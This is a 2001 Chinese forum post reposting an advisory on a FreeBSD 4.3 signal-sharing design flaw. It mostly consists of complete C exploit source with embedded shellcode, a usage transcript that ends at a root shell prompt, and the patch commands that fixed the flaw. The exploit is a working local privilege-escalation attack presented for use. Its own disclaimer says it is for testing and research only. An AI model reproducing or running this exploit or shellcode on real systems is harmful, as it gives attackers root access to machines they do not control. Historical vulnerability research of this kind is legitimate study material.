免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 4733 | 回复: 0

本地攻击者利用 FreeBSD 4.3 设计漏洞取得系统特权 [复制链接]

论坛徽章:
0
发表于 2001-11-16 20:32 |显示全部楼层
发现 FreeBSD 4.3 存在一个设计上的漏洞,它允许用户在其它进程中插入 signal handlers。问题出在 rfork(RFPROC|RFSIGSHARE) ,如果子进程 exec() 一个 setuid 程序,然后父进程设置一个 signal handlers,这个 signal handlers 将会在子进程中被复制。发送一个信号给子进程将能导致 signal handlers 被执行。
利用此漏洞,本地攻击者能取得 root 权限。


以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负


-------------vvfreebsd.c----------------------


/*
FreeBSD 4.3 local root exploit using shared signals.
Written by Georgi Guninski http://www.guninski.com
*/


#include <stdio.h>;
#include <signal.h>;
#include <unistd.h>;
int vv1;


#define MYSIG SIGINT



//exec &quot;/tmp/sh&quot;, shellcode gotten from the internet and modified
unsigned char bsdshell[] = &quot;\x90\x90\x90\x90\x90\x90\x90\x90&quot;
&quot;\x31\xc0\x50\x50\xb0\xb7\xcd\x80&quot;
&quot;\x31\xc0\x50\x50\xb0\x17\xcd\x80&quot;
&quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f&quot;
&quot;\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53&quot;
&quot;\xb0\x3b\x50\xcd\x80\x90\x90\x90&quot;;


typedef (*PROG)();
extern char **environ;


int main(int ac,char **av)
{
int pid;
//(*(PROG)bsdshell)();
if(!(vv1=getenv(&quot;vv&quot))
{
setenv(&quot;vv&quot;,bsdshell,1);
if(!execle(av[0],&quot;vv&quot;,NULL,environ))
{
perror(&quot;weird exec&quot;
exit(1);
}
}


printf(&quot;vvfreebsd. Written by Georgi Guninski\n&quot;
printf(&quot;shall jump to %x\n&quot;,vv1);


if(!(pid=rfork(RFPROC|RFSIGSHARE)))
{
printf(&quot;child=%d\n&quot;,getpid());
// /usr/bin/login and rlogin work for me. ping gives nonsuid shell
// if(!execl(&quot;/usr/bin/rlogin&quot;,&quot;rlogin&quot;,&quot;localhost&quot;,0))
if(!execl(&quot;/usr/bin/login&quot;,&quot;login&quot;,0))
{
perror(&quot;exec setuid failed&quot;
exit(2);
};
}
sleep(2);
signal(MYSIG,(sig_t)vv1);
sleep(2);
kill(pid,MYSIG);
printf(&quot;done\n&quot;
while(42);
}

----------------------------------------------

受影响版本:
FreeBSD 4.3 4.2 4.1 4.0
早期版本也许受影响

解决方案:
尚无

****** 2001-07-14 add by NetDemon(netdemon@20cn.net) ******
测试程序使用方法:

netdemon%gcc -o vvbsd vvbsd.c
netdemon%cp /bin/sh /tmp
netdemon%./vvbsd
vvfreebsd. Written by Georgi Guninski
shall jump to bfbffe71
child=61056
login:
login: # done
#

FreeBSD以此作出补丁


方法:

# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch.asc
# cd /usr/src/sys/kern
# patch -p < /path/to/patch

转自20世纪网络安全小组

     [img http://asp.6to23.com/cnean/bbs/pic/LOGO.GIF\img]


您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP